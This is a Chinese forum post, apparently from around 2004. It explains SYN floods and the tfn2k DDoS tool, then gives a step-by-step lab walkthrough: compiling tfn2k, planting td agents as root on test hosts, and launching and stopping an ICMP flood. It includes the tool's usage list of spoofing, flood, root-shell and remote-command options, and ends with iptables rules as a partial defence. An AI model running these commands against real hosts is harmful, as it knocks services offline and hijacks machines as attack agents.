By lanf, 出處:http://www.linuxaid.com.cn/forum/
By wjpfjy From LinuxAID Forum
首先,我寫這篇文章的目的,並不是我想成為什麼hacker之類,而且我不並不鼓勵任何人利用它來做一些有損他人的事情,我只是想多一些人關注網絡安全,共同研究並防御DOS。因為我是深受其害:(,所以,這篇文章僅用於技術參考,供大家研究DDOS防御之用。如果你利用它來做一些不合法的事情,那結果與我無關。
拒絕服務攻擊(DOS,Denial Of Service)可以指任何使服務不能正常提供的操作。如軟件bug,操作失誤等。不過現在因為失誤操作而造成的dos,可能性非常小,更多的是惡意的攻擊行為。現在拒絕服務攻擊早已演變為分布式拒絕服務攻擊(DDOS,Distributed Denial Of Service),利用更多的代理集中攻擊目標,其危害更大。
我們大家都知道tcp/ip協議現在已經成為整個inte.net框架協議,可以說,如果沒有tcp/ip,至少internet不會像現在這樣普及,甚至不可能會有internet。但凡事皆有兩面性,tcp/ip使我們大家受益,同時因為協議本身構造的問題,它也成為別人攻擊我們的工具。我們以tcp三握手建立連接的過程來說明。
一、tcp syn flood
1.客戶端(client)發送一個包含SYN(synchronize)的tcp包至服務器,此數據包內包含客戶端端口及tcp序列號等基本信息。
2.服務器(server)接收到SYN包之後,將發送一個SYN-ACK包來確認。
3.客戶端在收到服務器的SYN-ACK包之後,將回送ACK至服務器,服務器如接收到此包,則TCP連接建立完成,雙方可以進行通訊(感覺像,一拜天地...二拜高堂...送入洞房...哈哈)
問題就出在第3步,如果服務器收不到客戶端的ACK包,將會等待下去,這種狀態叫做半連接狀態。它會保持一定時間(具體時間不同操作系統不同),如果SYN請求超過了服務器能容納的限度,緩沖區隊列滿,那麼服務器就不再接收新的請求了,其他合法用戶的連接都被拒絕掉。這種攻擊往往事半' 罪'倍,殺傷力超強。
當然,DOS攻擊的方法多種多樣,如:UDP flood,ICMP/Ping,ICMP/SMURF...,具體原理的介紹大家可以到 asp">http://www.chinaitlab.com/www/special/ciwddos.asp去看看,有很詳細的原理及常用攻擊軟件介紹。不過說到DOS攻擊軟件,最具代表的莫過於tfn2k (Tribe Flood Network 2000),其作者是德國大名鼎鼎的mixter(其主頁http://mixter.void.ru/papers.html),好像最近正在埋頭搞什麼tfn3k,哎~~,不知道又有多少人寢食難安了...
二.tfn2k攻擊原理
1.tfn2k的攻擊體系。
tfn2k應該算是DDOS攻擊中的代表作,其所能實現的功能讓人瞠目結舌,歎為觀止...(對它的敬畏有如滔滔江水,延續不絕...)來看看它的架構。
主控端---運行tfn客戶端,來遙控並指定攻擊目標,更改攻擊方法.(罪大惡極)
代理端---被植入並運行td進程的犧牲品,接受tfn的指揮,攻擊的實施者.需要注意的是,一個攻擊者,往往控制多台代理來完成攻擊,而且其系統多為unix,linux等.(可憐的犧牲品)
目標主機---被攻擊的主機或網絡,曾經被DDOS的有Yahoo、Amazon、CNN、e-bay等.(最大的受害者,郁悶如我)
2.tfn2k特性。
◆ 主控端通過TCP、UDP、ICMP或隨機性使用其中之一(默認.隨機)的數據包向代理端主機發送命令,攻擊方法包括TCP/SYN、UDP、ICMP/PING、混合攻擊、TARGA3等。
◆ 主控端與代理端的通訊采取單向,即主控端只向代理端發送命令,並且會采取隨機的頭信息,甚至虛擬的源地址信息,代理端不會逆向向主控端發送任何信息.
◆ 所有命令經過CAST-256算法加命,其關鍵字即編譯程序時的輸入的口令.並且這個口令做為唯一認證憑證.
◆ 利用td進程,主控端可以遠程執行shell命令.
◆ td進程的名稱可以在編譯時更改,更便於隱藏.
◆ tfn可以編譯運行於win32及linux系統的.
...
至於偽造源IP地址等功能,更是基本功能,並且其與老版本的tfn相比,它的發包效率更高,我自已的測試,在短短不到5分鐘,兩台代理機,使我的redhat linux 9.0系統癱瘓.
三.tfn2k 實戰測試
1.測試環境:
軟件:redhat linux 9.0
硬件平台:
master:
IP: 192.168.0.6
PIV2.4/256*2/rtl8139
Ag1 :
IP: 192.168.0.2
PIV2.4/256*/rtl8139
AG2 : IP: 192.168.0.3
pIV2.6/512*2/3c905
AIM: 192.168.0.5
pIV2.66c/512*2/3c905
switch: D_link des 1024R
1.下載tfn2k.tgz(因為此軟件非比尋常,所以我並不提供下載地址,如果有興趣,自已到網上找吧)
2.解壓: tar zxvf tfn2k.tgz
3.修改文件
A. src/Makefile 如果你的系統是linux系統,不需要做任何修就可以,如果是win32系統,請將
# Linux / *BSD* / Others
CC = gclearcase/" target="_blank" >cc
CFLAGS = -Wall -O3
CLIBS =
這幾行注釋掉,並將
# Win32 (cygwin)
#CC = gcc
#CFLAGS = -Wall -DWINDOZE -O2
#CLIBS =
這幾行的注釋去掉.因為我的測試系統為redhat linux 9.0所以並未做任何修改.
B. src/config.h ,默認的就可以用,如果感興趣,可以照其注釋信息進行調整。
C. src/ip.h 這裡要做一些修改,否則編譯會有錯誤,發生重復定義。
/*struct in_addr
{
unsigned long int s_addr;
};*/
注意啊~~我可是將它放在"/* */"之間,也就是注釋掉了:)
D.更改編譯器:
因為tfn2k支持的是egcs-1.1.2-30,而redhat linux9.0所包含的是gcc-3.2.2-5,所以如果不替換掉gcc,tfn2k是編譯不過去的.需要注意的是,更改之後,有可能會造成基於gcc3.2.2的軟件編譯不去,請謹慎而行.
方法很簡單的,找到一張redhat linux 6.2安裝盤,將egcs-1.1.2-30.rpm、cpp-1.1.2-30.rpm拷到~/
cd /mnt/cdrom/Redhat/RPMS
cp egcs-1.1.2-30* cpp-1.1.2-30* ~/
安裝cpp rpm -Uvh --nodeps --oldpackage cpp-1.1.2-30.i386.rpm
安裝egcs rpm -Uvh egcs-1.1.2-30.i386.rpm
(如果提示有誤,用nodeps、oldpackages、ignoreos等參數忽略過去就是了)
4.編譯tfn2k
cd tfn2k/src
make
首先會談出一個聲明,你必須接受,之後會提示輸入8-32位密碼,前邊提到過,這是唯一的認證憑證,會被分發於td進程中,所以一定要記牢噢~。
編譯通過後,會產生td及tfn,這就是大名鼎鼎的tfn2k啦~,td是守護進程,用來安裝在代理中的,而tfn就是控制端.
5.安裝td.
將td上傳到我的兩台代理,ag1(192.168.0.2)和ag2(192.168.0.3) ,因為我只不過測試,所以用的是合法的root來上傳並執行td進程的,如果真要找到並安裝一個代理,你可能得費點兒神,因為沒有一個管理員會說 “come on baby ~~.我給你root,來安裝td做代理吧”
[root@test /] ftp 192.168.0.2
Connected to 192.168.0.2.
530 Please login with USER and PASS.
530 Please login with USER and PASS.
Name (192.168.0.2:root): wjpfjy
331 Please specify the password.
Password:
230 Login successful. Have fun.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> put td (上傳td)
local: td remote: td
227 Entering Passive Mode (192,168,0,3,198,225)
553 Could not create file.
ftp> by (退出ftp)
221 Goodbye.
[root@test /]ssh 192.168.0.2
//登陸到ag1 以執行td ,注意,我用的是root帳戶,這樣才有足夠的權限來執行它.
[email protected]'s password:
Last login: Tue Feb 24 06:51:13 2004
[root@ ag1 /]find / -name td -print
//找到剛上傳過來的文件td.
[root@ ag1 wjpfjy/]chmod a+x td
//使之具有執行權限.
[root@ ag1 wjpfjy/]./td
//運行td ,這樣你就擁有一個代理了,它會對你唯命是從的:(。
用同樣的方法在ag2 (192.168.0.3)上安裝並運行TFN2k進程td.
6.攻擊開始(悲慘的回憶上演中...)
回到master(192.168.0.6 ),准備演練...
[root@master root]#touch host.txt
//建立代理記錄文件(因為如果你足夠無聊的話,有可能會建立很多的肉雞-
//代理,不記下會忘記的噢.)
[root@master root]echo "192.168.0.2" > host.txt 將執行過td的ag1加入host.txt。
[root@master root]echo "192.168.0.3" >> host.txt 添加ag2到host.txt .
先來測試一下鏈接。
[root@master root]./tfn -f host.txt -c 10 -i "mkdir wjpfjy" 與host.txt中的代理通訊,讓其執行命令mkdir wjpfjy即建立一個目錄
Protocol : random
Source IP : random
Client input : list
Command : execute remote command
Password verification:
//這裡,會被提示輸入密碼,也就是編譯時輸入的密碼,如果錯了,將無法與td進程通訊
Sending out packets: ..
到ag1和ag2看看有沒有建立目錄名wjpfjy,一般情況下,會存在於td的同一目錄,如果不確定,可以用find / -name wjpfjy -print來查找
[root@master root]./tfn -f host.txt -c 6 -i 192.168.0.5 開始ICMP/PING 攻擊aim...(可憐我的P4啊,不到5分鐘,就跟386一樣慢),不過它在game over前,還是很艱辛的記錄下了攻擊數據,也算是對得住的那NK大洋啦.這是tcpdump的抓包記錄.
[root@aim root]# tcpdump -r pack.atta -c 4 -xX
08:03:36.524907 23.43.171.0 > 192.168.0.5 icmp: echo request [ttl 0]
0x0000 4500 005c 659d 0000 0001 d22e 172b ab00 E..\e........+..
0x0010 c0a8 0002 0800 f7ff 0000 0000 0000 0000 ................
0x0020 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0030 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0050 0000 ..
08:03:36.524933 192.168.0.5 > 23.43.171.0: icmp: echo reply
0x0000 4500 005c a5d5 0000 4001 51f6 c0a8 0002 E..\[email protected].....
0x0010 172b ab00 0000 ffff 0000 0000 0000 0000 .+..............
0x0020 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0030 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0050 0000 ..
08:03:36.524944 36.235.130.0 > 192.168.0.5: icmp: echo request [ttl 0]
0x0000 4500 005c 659d 0000 0001 ed6e 24eb 8200 E..\e......n$...
0x0010 c0a8 0002 0800 f7ff 0000 0000 0000 0000 ................
0x0020 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0030 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0050 0000 ..
08:03:36.524984 192.168.0.5 > 36.235.130.0: icmp: echo reply
0x0000 4500 005c 551c 0000 4001 bdef c0a8 0002 E..\U...@.......
0x0010 24eb 8200 0000 ffff 0000 0000 0000 0000 $...............
0x0020 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0030 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040 0000 0000 0000 0000 0000 0000 0000 0000 ................
[root@master root]./tfn -f host.txt -c 0 停止攻擊
Protocol : random
Source IP : random
Client input : list
Command : stop flooding
Password verification:
Sending out packets: ...
當然還有別的攻擊方法,你只要用-c X就可以更改攻擊方法.
[root@master root]./tfn
usage: ./tfn
[-P protocol] Protocol for server communication. Can be ICMP, UDP or TCP.
Uses a random protocol as default
[-D n] Send out n bogus requests for each real one to decoy targets
[-S host/ip] Specify your source IP. Randomly spoofed by default, you need
to use your real IP if you are behind spoof-filtering routers
[-f hostlist] Filename containing a list of hosts with TFN servers to contact
[-h hostname] To contact only a single host running a TFN server
[-i target string] Contains options/targets separated by '@', see below
[-p port] A TCP destination port can be specified for SYN floods
<-c command ID> 0 - Halt all current floods on server(s) immediately
1 - Change IP antispoof-level (evade rfc2267 filtering)
usage: -i 0 (fully spoofed) to -i 3 (/24 host bytes spoofed)
2 - Change Packet size, usage: -i
3 - Bind root shell to a port, usage: -i
4 - UDP flood, usage: -i victim@victim2@victim3@...
5 - TCP/SYN flood, usage: -i victim@... [-p destination port]
6 - ICMP/PING flood, usage: -i victim@...
7 - ICMP/SMURF flood, usage: -i victim@broadcast@broadcast2@...
8 - MIX flood (UDP/TCP/ICMP interchanged), usage: -i victim@...
9 - TARGA3 flood (IP stack penetration), usage: -i victim@...
10 - Blindly execute remote shell command, usage -i command
四.防守辦法
就如同網上所有介紹DDOS的文章一樣,DDOS防不勝防,我試著用防火牆過濾掉所有icmp包,來保護我的主機,但所實現的,只是我的主機晚點兒崩潰而已.哎~,別指望我來防DDOS,要能防,我也不用不睡覺啊:(
還是那句老話,我們能做的,就是盡量讓我們的主機不成為別人攻擊的代理,並對intranet 內出行的包進行嚴格限制,盡量不去危害別人,只要大家都這樣做,我們的網絡環境才可以安全一些,至少,我可以安心睡幾天覺.
附上我防火牆的一部分.主要是針對ICMP/PING的,不過用處不太大:(
/sbin/iptables -P INPUT DROP
/sbin/iptables -A INPUT -i lo -p all -j ACCEPT
/sbin/iptables -A INPUT -i eth1 -p icmp -j ACCEPT
/sbin/iptables -A INPUT -p icmp --icmp-type 8 -j DROP
/sbin/iptables -A INPUT -s 127.0.0.2 -i lo -j ACCEPT
/sbin/iptables -A INPUT -s 127.0.0.2 -i eth0 -j DROP
/sbin/iptables -A INPUT -s $LAN_NET/24 -i eth0 -j DROP
/sbin/iptables -A INPUT -s 172.16.0.0/12 -i eth0 -j DROP
/sbin/iptables -A INPUT -s 10.0.0.0/8 -i eth0 -j DROP
/sbin/iptables -A INPUT -i eth0 -m limit --limit 1/sec \
--limit-burst 5 -j ACCEPT/sbin/iptables -A INPUT \
-i eth0 -p udp -m state --state NEW -j REJECT
/sbin/iptables -A INPUT -p tcp --dport 22 -j ACCEPT
/sbin/iptables -A INPUT -p tcp --dport 80 -j ACCEPT
/sbin/iptables -A INPUT -p tcp -i eth1 --dport 53 -j ACCEPT
/sbin/iptables -A INPUT -p udp -i eth1 --dport 53 -j ACCEPT
/sbin/iptables -A INPUT -p tcp -i eth0 -m state \
--state ESTABLISHED,RELATED -m tcp --dport 1024: -j ACCEPT
/sbin/iptables -A INPUT -p udp -i eth0 -m state \
--state ESTABLISHED,RELATED -m udp --dport 1024: -j ACCEPT
/sbin/iptables -A INPUT -p icmp --icmp-type echo-request \
-j LOG --log-level 2
/sbin/iptables -A INPUT -i eth0 -p icmp --icmp-type \
echo-request -j DROP
/sbin/iptables -A INPUT -p tcp -m multiport \
--destination-port 135,137,138,139 -j LOG
/sbin/iptables -A INPUT -p udp -m multiport \
--destination-port 135,137,138,139 -j LOG
/sbin/iptables -A INPUT -i eth0 -p tcp --dport 2000 -j ACCEPT
/sbin/iptables -A INPUT -i eth0 -p tcp --dport 2001 -j ACCEPT
/sbin/iptables -A INPUT -p tcp -i eth1 -m state --state \
ESTABLISHED,RELATED -m tcp --dport 1024: -j ACCEPT
以上只是我個人的一些摸索經驗,不足或錯誤之處,還望指證。如果您可以防止DDOS,也請告訴我:)因為本文內容的特殊性,轉載請通知我,謝謝合作:)
並對幫助過我制定防火牆的sevenJ表示感謝!
wjpfjy
mail:[email protected]
QQ: 928395